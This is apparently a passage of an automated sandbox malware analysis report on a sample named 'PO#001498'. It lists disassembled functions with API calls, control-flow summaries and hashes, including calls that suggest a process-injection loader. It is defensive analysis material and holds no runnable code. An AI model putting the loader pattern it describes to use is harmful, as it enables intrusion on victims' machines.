                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3886058894-0
                                                                                                                                                                                • Opcode ID: b117a392f3759847975495debe7ea87102f8b7de0bc78f8cbc322732e1c6b221
                                                                                                                                                                                • Instruction ID: 085ef53bf2cba992f8731f00f2d52beda6aca72a1b803249d76dffc069a60243
                                                                                                                                                                                • Opcode Fuzzy Hash: b117a392f3759847975495debe7ea87102f8b7de0bc78f8cbc322732e1c6b221
                                                                                                                                                                                • Instruction Fuzzy Hash: CA510830900604EFCB208FA9C8445DFBBB5EFC5324F24825BF82596290D7799ED2CB99
                                                                                                                                                                                Function 004103E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43COMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                • Executed
                                                                                                                                                                                • Not Executed
                                                                                                                                                                                control_flow_graph 1496 4103e0-410461 CreateWindowExW * 2 ShowWindow * 2
                                                                                                                                                                                APIs
                                                                                                                                                                                • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
                                                                                                                                                                                • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
                                                                                                                                                                                • ShowWindow.USER32(?,00000000), ref: 00410454
                                                                                                                                                                                • ShowWindow.USER32(?,00000000), ref: 0041045E
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Window$CreateShow
                                                                                                                                                                                • String ID: AutoIt v3$edit
                                                                                                                                                                                • API String ID: 1584632944-3779509399
                                                                                                                                                                                • Opcode ID: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
                                                                                                                                                                                • Instruction ID: daa3d4afae2654ee996124117597f48fa5c574a0ac4b96d00400a8ba476d7f73
                                                                                                                                                                                • Opcode Fuzzy Hash: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
                                                                                                                                                                                • Instruction Fuzzy Hash: F3F0A975BE4310BAF6609754AC43F592B59A765F00F3445ABB700BF1D0D6E478408B9C
                                                                                                                                                                                Function 042793B8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 153fileCOMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                • Executed
                                                                                                                                                                                • Not Executed
                                                                                                                                                                                control_flow_graph 1497 42793b8-4279505 call 4277008 call 42792a8 CreateFileW 1504 4279507 1497->1504 1505 427950c-427951c 1497->1505 1506 42795bc-42795c1 1504->1506 1508 4279523-427953d VirtualAlloc 1505->1508 1509 427951e 1505->1509 1510 4279541-4279558 ReadFile 1508->1510 1511 427953f 1508->1511 1509->1506 1512 427955c-4279596 call 42792e8 call 42782a8 1510->1512 1513 427955a 1510->1513 1511->1506 1518 42795b2-42795ba ExitProcess 1512->1518 1519 4279598-42795ad call 4279338 1512->1519 1513->1506 1518->1506 1519->1518
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 042792A8: Sleep.KERNELBASE(000001F4), ref: 042792B9
                                                                                                                                                                                • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 042794FB
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1325718466.0000000004277000.00000040.00000020.00020000.00000000.sdmp, Offset: 04277000, based on PE: false
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_4277000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CreateFileSleep
                                                                                                                                                                                • String ID: JAAJA46ZZ70M0DDV0FQFOAHE1R26U
                                                                                                                                                                                • API String ID: 2694422964-4005031395
                                                                                                                                                                                • Opcode ID: fe58cdc491e6cfc7477bba214fd6322fba9c0d890811f9aabd49c46cd9a5184f
                                                                                                                                                                                • Instruction ID: 853f1d7db75e3c19a985bc277260cc42cfa24ac69f3089df734c0dbbbeb1560f
                                                                                                                                                                                • Opcode Fuzzy Hash: fe58cdc491e6cfc7477bba214fd6322fba9c0d890811f9aabd49c46cd9a5184f
                                                                                                                                                                                • Instruction Fuzzy Hash: C061B470E14298DAEF11D7B8C854BDEBFB49F15304F004199E6487B2C1D7BA1B49CB66
                                                                                                                                                                                Function 00413A88 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                • Executed
                                                                                                                                                                                • Not Executed
                                                                                                                                                                                control_flow_graph 1521 413a88-413a99 call 41718c 1524 413b10-413b15 call 4171d1 1521->1524 1525 413a9b-413aa2 1521->1525 1526 413aa4-413abc call 418407 call 419f6d 1525->1526 1527 413ae7 1525->1527 1539 413ac7-413ad7 call 413ade 1526->1539 1540 413abe-413ac6 call 419f9d 1526->1540 1529 413ae8-413af8 RtlFreeHeap 1527->1529 1529->1524 1532 413afa-413b0f call 417f23 GetLastError call 417ee1 1529->1532 1532->1524 1539->1524 1546 413ad9-413adc 1539->1546 1540->1539 1546->1529
                                                                                                                                                                                APIs
                                                                                                                                                                                • __lock.LIBCMT ref: 00413AA6
                                                                                                                                                                                  • Part of subcall function 00418407: __mtinitlocknum.LIBCMT ref: 0041841D
                                                                                                                                                                                  • Part of subcall function 00418407: __amsg_exit.LIBCMT ref: 00418429
                                                                                                                                                                                  • Part of subcall function 00418407: EnterCriticalSection.KERNEL32(?,?,?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001), ref: 00418431
                                                                                                                                                                                • ___sbh_find_block.LIBCMT ref: 00413AB1
                                                                                                                                                                                • ___sbh_free_block.LIBCMT ref: 00413AC0
                                                                                                                                                                                • RtlFreeHeap.NTDLL(00000000,00411739,0048C758,0000000C,004183E8,00000000,0048CA38,0000000C,00418422,00411739,?,?,004224D3,00000004,0048CCA0,0000000C), ref: 00413AF0
                                                                                                                                                                                • GetLastError.KERNEL32(?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001,00000214), ref: 00413B01
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2714421763-0
                                                                                                                                                                                • Opcode ID: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
                                                                                                                                                                                • Instruction ID: 54fb22c17cbd059cfb8714ef359fce415cc636064f476ff80f42ef981757bf49
                                                                                                                                                                                • Opcode Fuzzy Hash: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
                                                                                                                                                                                • Instruction Fuzzy Hash: 7401A731A08301BADF206F71AC09BDF3B64AF00759F10052FF544A6182DB7D9AC19B9C
                                                                                                                                                                                Function 0040F5E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                • Executed
                                                                                                                                                                                • Not Executed
                                                                                                                                                                                control_flow_graph 1547 40f5e0-40f62f call 40f580 call 413990 call 4112ef call 40f6a0 call 40f6d0 1558 40f631-40f653 1547->1558 1558->1558 1559 40f655-40f66d call 414e06 1558->1559 1562 40f673-40f67b call 40f450 1559->1562 1563 42b2ee 1559->1563 1566 42b2f8-42b322 call 4151b0 call 44afdc 1562->1566 1567 40f681-40f695 call 414e94 1562->1567 1563->1566 1574 42b324-42b330 1566->1574 1574->1574 1575 42b332-42b338 call 415484 1574->1575 1577 42b33d-42b343 1575->1577
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0040F580: _wcslen.LIBCMT ref: 0040F58A
                                                                                                                                                                                  • Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0040F5A3
                                                                                                                                                                                  • Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,-00000010,00000001,?,?,?,?), ref: 0040F5CC
                                                                                                                                                                                • _strcat.LIBCMT ref: 0040F603
                                                                                                                                                                                  • Part of subcall function 0040F6A0: _memset.LIBCMT ref: 0040F6A8
                                                                                                                                                                                  • Part of subcall function 0040F6D0: _strlen.LIBCMT ref: 0040F6D8
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ByteCharMultiWide$_memset_strcat_strlen_wcslen
                                                                                                                                                                                • String ID: HH
                                                                                                                                                                                • API String ID: 1194219731-2761332787
                                                                                                                                                                                • Opcode ID: ee47fd20779ff5886c3c730aa44a1efa7791f275b5868e90dcef310a8da63108
                                                                                                                                                                                • Instruction ID: 1fd31f67f6889806bd2ce24d6488871f5ee50ddf162d20410a363c4a19aba518
                                                                                                                                                                                • Opcode Fuzzy Hash: ee47fd20779ff5886c3c730aa44a1efa7791f275b5868e90dcef310a8da63108
                                                                                                                                                                                • Instruction Fuzzy Hash: 022158B260825067C724EF7A9C8266EF7D8AF85308F148C3FF554D2282F638D555879A
                                                                                                                                                                                Function 042782A8 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • CreateProcessW.KERNELBASE(?,00000000), ref: 04278A63
                                                                                                                                                                                • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 04278AF9
                                                                                                                                                                                • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 04278B1B
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1325718466.0000000004277000.00000040.00000020.00020000.00000000.sdmp, Offset: 04277000, based on PE: false
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_4277000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2438371351-0
                                                                                                                                                                                • Opcode ID: 0b43d72d38ac188f5e361c01a6572487286e397564ea08694eb873f1bb21aafa
                                                                                                                                                                                • Instruction ID: b3ce62414d9552681c208ede08f30d693437b0060c9e97ed5f57ff85ee85109e
                                                                                                                                                                                • Opcode Fuzzy Hash: 0b43d72d38ac188f5e361c01a6572487286e397564ea08694eb873f1bb21aafa
                                                                                                                                                                                • Instruction Fuzzy Hash: E362FA70A24218DBEB24DFA4C854BDEB376EF58300F1091A9D10DEB390E775AE81CB59
                                                                                                                                                                                Function 0041171A Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                  • Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
                                                                                                                                                                                  • Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
                                                                                                                                                                                  • Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,0041172A,?,?,?,?,00411739,?,00401C0B), ref: 00413931
                                                                                                                                                                                • std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                  • Part of subcall function 004116B0: std::exception::exception.LIBCMT ref: 004116BC
                                                                                                                                                                                • std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1411284514-0
                                                                                                                                                                                • Opcode ID: ca7221cdd9cc9326792a0c346bb7c35cd30f9974032eaa45b6addcc39664c516
                                                                                                                                                                                • Instruction ID: c554e94cc15d94fff19a40754e7570613bf3612ee9c26c673f8185df9075a277
                                                                                                                                                                                • Opcode Fuzzy Hash: ca7221cdd9cc9326792a0c346bb7c35cd30f9974032eaa45b6addcc39664c516
                                                                                                                                                                                • Instruction Fuzzy Hash: 6FF0E23550060A66CF08B723EC06ADE3B649F11798B10403BFA20552F2DF6DADC9865C
                                                                                                                                                                                Function 0046EDC6 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 383COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: BuffCharLower
                                                                                                                                                                                • String ID: $8'I
                                                                                                                                                                                • API String ID: 2358735015-3608026889
                                                                                                                                                                                • Opcode ID: d6f66c2f2361e76d4402681cdd51d930a97151c2fdd89a539067bc835b5788b1
                                                                                                                                                                                • Instruction ID: 1bf34105e022c250dd7240f1ea7ec4803edb57b208c13e69c3fb06210d7c4844
                                                                                                                                                                                • Opcode Fuzzy Hash: d6f66c2f2361e76d4402681cdd51d930a97151c2fdd89a539067bc835b5788b1
                                                                                                                                                                                • Instruction Fuzzy Hash: 9FE1AE745043018BCB24EF16D88166BB7E4BF94348F40482FF88597292EB79DD89CB9B
                                                                                                                                                                                Function 004734B7 Relevance: 4.7, APIs: 3, Instructions: 234COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID:
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID:
                                                                                                                                                                                • Opcode ID: c2b84d901eedfcb5732c73c427cf3e6a40f349a1394e6728fcd5bdf3f2a5d4d9
                                                                                                                                                                                • Instruction ID: a1f682be926937ece900e9fcc50ccc13891f43ead78ba7c6857800eee9f0599c
                                                                                                                                                                                • Opcode Fuzzy Hash: c2b84d901eedfcb5732c73c427cf3e6a40f349a1394e6728fcd5bdf3f2a5d4d9
                                                                                                                                                                                • Instruction Fuzzy Hash: EC81D2756043009FC310EF65C985B6AB7E4EF84315F008D2EF988AB392D779E909CB96
                                                                                                                                                                                Function 0040F110 Relevance: 4.5, APIs: 3, Instructions: 32registryCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • RegOpenKeyExW.KERNELBASE(80000001,0040F0EE,00000000,00000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F132
                                                                                                                                                                                • RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F14F
                                                                                                                                                                                • RegCloseKey.KERNELBASE(00000000,?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F159
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CloseOpenQueryValue
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3677997916-0
                                                                                                                                                                                • Opcode ID: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
                                                                                                                                                                                • Instruction ID: 6acd5c45b0bc896a902747136fbadff1bb775023c46fd22fba7b324c5144c726
                                                                                                                                                                                • Opcode Fuzzy Hash: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
                                                                                                                                                                                • Instruction Fuzzy Hash: 60F0BDB0204202ABD614DF54DD88E6BB7F9EF88704F10492DB585D7250D7B4A804CB26
                                                                                                                                                                                Function 0043526E Relevance: 4.5, APIs: 3, Instructions: 26COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _malloc.LIBCMT ref: 00435278
                                                                                                                                                                                  • Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
                                                                                                                                                                                  • Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
                                                                                                                                                                                  • Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,0041172A,?,?,?,?,00411739,?,00401C0B), ref: 00413931
                                                                                                                                                                                • _malloc.LIBCMT ref: 00435288
                                                                                                                                                                                • _malloc.LIBCMT ref: 00435298
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _malloc$AllocateHeap
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 680241177-0
                                                                                                                                                                                • Opcode ID: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
                                                                                                                                                                                • Instruction ID: 30b75876ff52ae1c35022de4a6700901ba1db26c97f4d16f7fcf584af9a5a73f
                                                                                                                                                                                • Opcode Fuzzy Hash: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
                                                                                                                                                                                • Instruction Fuzzy Hash: E5F0A0B1500F0046E660AB3198457C7A2E09B14307F00186FB6855618ADA7C69C4CEAC
                                                                                                                                                                                Function 00401B70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                  • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                  • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                  • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Exception@8Throw_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                                • String ID: @EXITCODE
                                                                                                                                                                                • API String ID: 580348202-3436989551
                                                                                                                                                                                • Opcode ID: 4145ab2d07bf19a354fff2d5031cf88e997e0915ee9c5273387e54f5573defd1
                                                                                                                                                                                • Instruction ID: 288ad252d7dad0c090ff8240dee62855692e698d70424b42c0a66861a7771545
                                                                                                                                                                                • Opcode Fuzzy Hash: 4145ab2d07bf19a354fff2d5031cf88e997e0915ee9c5273387e54f5573defd1
                                                                                                                                                                                • Instruction Fuzzy Hash: 73F06DF2A002025BD7649B35DC0276776E4AB44704F18C83EE14AC7791F6BDE8829B15
                                                                                                                                                                                Function 0040B380 Relevance: 3.3, APIs: 2, Instructions: 255COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ClearVariant
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1473721057-0
                                                                                                                                                                                • Opcode ID: eacc0142db4d950baece999cff2e812bbd2e67c8ad5ab65b103d457396c453fe
                                                                                                                                                                                • Instruction ID: 1f11e118333250ff1b1cce483c812f274274124743f71e781b8a547d9d3e43da
